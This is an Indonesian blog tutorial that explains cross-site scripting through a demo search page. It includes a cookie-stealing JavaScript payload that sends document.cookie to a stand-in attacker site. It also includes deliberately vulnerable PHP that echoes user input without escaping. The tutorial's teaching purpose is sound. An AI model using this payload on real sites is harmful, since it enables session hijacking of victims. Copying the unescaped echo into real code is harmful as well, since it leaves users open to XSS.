Sedikit Tentang Cross-Site Scripting

Cross-site scripting (biasa disingkat XSS) termasuk teknik yang lumayan kepake buat ngehack website orang. Tapi sama kasusnya kayak SQL injection, XSS udah mulai kurang efektif. Soalnya website sekarang udah banyak yang celah buat ngelakuin XSSnya ditutup. Tapi ya…pasti ada lah yang masih bisa kena. Soalnya dua-duanya pernah gw lakuin & itu masih belum terlalu lama dari waktu postingan ini ditulis.

Inti dari XSS sih gimana caranya kita nyisipin script HTML, JavaScript, atau apa aja ke dalam satu halaman web. Gw punya satu website tempat gw testing script, untuk testing XSS bisa dicoba klik di sini.

Di halaman itu ada text box untuk masukin keyword. Kalau kita tekan tombol “Search”, ceritanya website ini bakal nyari sesuatu berdasarkan keyword yang diinput tadi. Tapi website ini sih bakal selalu nampilin notifikasi kalo nggak ada data yang sesuai dengan keyword yang dicari, soalnya gw nggak bikin program buat nyarinya & datanya juga emang nggak ada.

Di text box yang ada di halaman itu kita bisa masukin string, lalu stringnya bakal ditampilin di halaman hasil pencarian. Nah, di sini kita bisa masukin script HTML. Misalnya di text box itu tadi kita masukin string ini.

<b>Hello, World!</b>

Nanti di halaman itu bakal tampil tulisan “Hello, World!” yang ditulis pake huruf tebel.

Seharusnya sih JavaScript juga bisa dimasukin di situ, misalnya string di bawah ini.

<script>alert("Hello, World!");</script>

Tapi untuk JavaScript sih gw coba di website testing itu nggak jalan di Chrome. Tadinya sih gw pikir mungkin dari hostingannya ada masang filter untuk itu, soalnya pas sebelum ini gw cobain di localhost sih lancar jaya itu JavaScript dijalaninnya. Tapi habis gw cobain pake Firefox ternyata jalannya normal aja, jadi kayaknya ini ada sedikit masalah kompatibilitas dengan browser. Jadi disarankan sih testing XSS di website itu ntar dicoba pake Firefox aja.

Kalo satu website bisa kena XSS & JavaScript yang kita sisipin bisa dijalanin, kita bisa masang banyak jebakan di situ. Misalnya buat nyolong cookie orang, kita bisa masukin script kayak begini.

<script>
var src = "http://websitesihacker.com/colong_cookie_orang.php?" + document.cookie;

window.location = src;
</script>

Script itu nantinya bakal ngeredirect orang-orang yang buka halaman web itu ke websitesihacker.com, tepatnya ke halaman colong_cookie_orang.php  & informasi cookienya juga ikut dikirim ke situ. Halaman colong_cookie_orang.php itu pasti udah diprogram buat nyimpen data cookie yang udah masuk, bisa ke text file atau ke database. Cookie yang udah dicolong itu nanti bisa dipake untuk login ke website yang disisipin script tadi itu sebagai si korban tanpa tau passwordnya atau apa aja yang bisa dilakuin di itu website pake cookie yang dicolong tadi.

Tapi sekali lagi, kebanyakan website yang terkenal sih udah cukup kebal dengan XSS. Silakan coba kalo mau, tapi jangan ngerusak yak.

Btw, ini source code PHP yang gw pake di website demo itu. Silakan dicopas terus dijalanin kalo mau nyoba di localhost. Buat yang belum ada web server di komputernya bisa nginstall XAMPP dulu.

index.php

<html>
<form action="results.php" method="GET">
Insert Keyword: <input type="text" name="keyword"> <input type="submit" value="Search">
</form>
</html>

results.php

<?php

include("index.php");

echo "<br><br>Search results for ".$_GET['keyword']."<br><br>";
echo "No data found, try again with another result.";

?>

4 thoughts on “Sedikit Tentang Cross-Site Scripting

  1. Pingback: Cegah SQL Injection & XSS di Website | Twisted Pair

  2. Pingback: JavaScript untuk Pencegahan Copy-Paste Artikel, Masih Kurang Ampuh | Twisted Pair

  3. Pingback: HTTPS, Aman di Jalan | Twisted Pair

  4. Pingback: Penjelasan Mengenai Session Hijacking | Twisted Pair

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s